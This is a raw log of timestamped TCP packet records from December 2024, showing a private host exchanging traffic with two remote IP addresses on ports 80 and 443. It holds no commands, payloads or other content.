Dec 19, 2024 16:10:29.002813101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.003540039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.003951073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.004012108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.004741907 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.004791021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.004956007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.005016088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.005597115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.005639076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.005775928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.005898952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.006515026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.006563902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.006763935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.006825924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.007512093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.007558107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.007812023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.007852077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.008472919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.008544922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.008578062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.008629084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.009495020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.009558916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.010075092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.010117054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.010454893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.010500908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.010847092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.011445999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.011495113 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.011540890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.011588097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.012392998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.012438059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.012717962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.012763977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.012957096 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.012976885 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.013072014 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.013072014 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.013091087 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.013391972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.013415098 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.013437033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.013927937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.013988972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.014394999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.014928102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.014977932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.015734911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.015793085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.015822887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.015862942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.016424894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.016475916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.016496897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.016565084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.017401934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.017453909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.017507076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.017550945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.018292904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.018352032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.018616915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.018676996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.019292116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.019357920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.019401073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.020287991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.020333052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.020905972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.021014929 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.021250963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.021296978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.021655083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.021701097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.022234917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.022258043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.022288084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.022299051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.023166895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.023220062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.023242950 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.023935080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.024260998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.024316072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.024427891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.024595976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.025198936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.025228024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.025259972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.025273085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.026134968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.026202917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.026474953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.026521921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.027124882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.027139902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.027190924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.027220964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.028084040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.028129101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.028335094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.028377056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.029088020 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.029139996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.029222965 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.029345989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.030132055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.030206919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.030229092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.030272961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.031058073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.031294107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.031322002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.031341076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.032058954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.032098055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.032466888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.032506943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.032979012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.033032894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.033083916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.033179045 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033190012 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033205986 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033214092 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033247948 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033266068 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.033266068 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.033278942 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.033322096 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.033322096 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.033981085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.034032106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.034424067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.034471989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.035002947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.035047054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.035376072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.035461903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.035929918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.036012888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.036259890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.036391020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.036976099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.036989927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.037024021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.037038088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.037853003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.037969112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.037998915 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.038264990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.056643009 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.056670904 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.056920052 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.056920052 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.056940079 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.058146954 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.061300039 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.061314106 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.061341047 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.061369896 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.061395884 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.061395884 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.061408997 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.061739922 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.084450960 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.084474087 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.084573984 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.084583998 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.086010933 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.095474958 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.095499992 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.095895052 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.095895052 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.095910072 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.100621939 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.141191006 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.141208887 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.141349077 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.141362906 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.141918898 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.179387093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.179527998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.179886103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.179899931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.179943085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.179943085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.179979086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.180299044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.180918932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.181025982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.181049109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.181077957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.181838989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.181906939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.182091951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.182321072 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.182406902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.182531118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.183114052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.183814049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.184123993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.184237957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.184405088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.184442043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.184621096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.185375929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.185488939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.185518026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.185606003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.186429977 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.186489105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.186589956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.187239885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.187263012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.187289000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.187376976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.188065052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.188163996 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.188200951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.188967943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.189042091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.189413071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.189519882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.190011978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.190026045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.190090895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.190090895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.190936089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.191041946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.191625118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.191903114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.191924095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.191942930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.192148924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.193025112 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.193357944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.193409920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.193476915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.193978071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.194050074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.194117069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.194232941 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.194855928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.194941998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.195705891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.195879936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.196085930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.196515083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.196893930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.196911097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.196954966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.197079897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.197829962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.197942019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.197968960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.198035955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.198812008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.198913097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.198946953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.199167967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.199790955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.199997902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.200061083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.200500011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.200750113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.200903893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.200923920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.201078892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.201744080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.201780081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.201802015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.202661991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.205178976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205327034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205347061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205359936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205369949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.205406904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205419064 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.205446005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.205455065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.205507040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.205507994 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.205540895 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.205564022 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.205580950 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.205688000 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.206260920 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.206408978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.206422091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.206460953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.206656933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.207454920 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.207669973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.207698107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.207726002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.208358049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.208550930 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.208633900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.209214926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.209270954 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.209292889 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.209345102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.209347010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.209382057 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.209995031 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.209995985 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.210007906 CET	443	49889	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.210311890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.210423946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.210443974 CET	49889	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.210448027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.211205006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.211407900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.211435080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.211709023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.211734056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.211860895 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.211883068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.212714911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.212739944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.213382959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.213515043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.213557005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.213570118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.213625908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.213625908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.214473963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.214525938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.214600086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.215585947 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.215676069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.216022968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.216528893 CET	80	49881	31.41.244.11	192.168.2.6
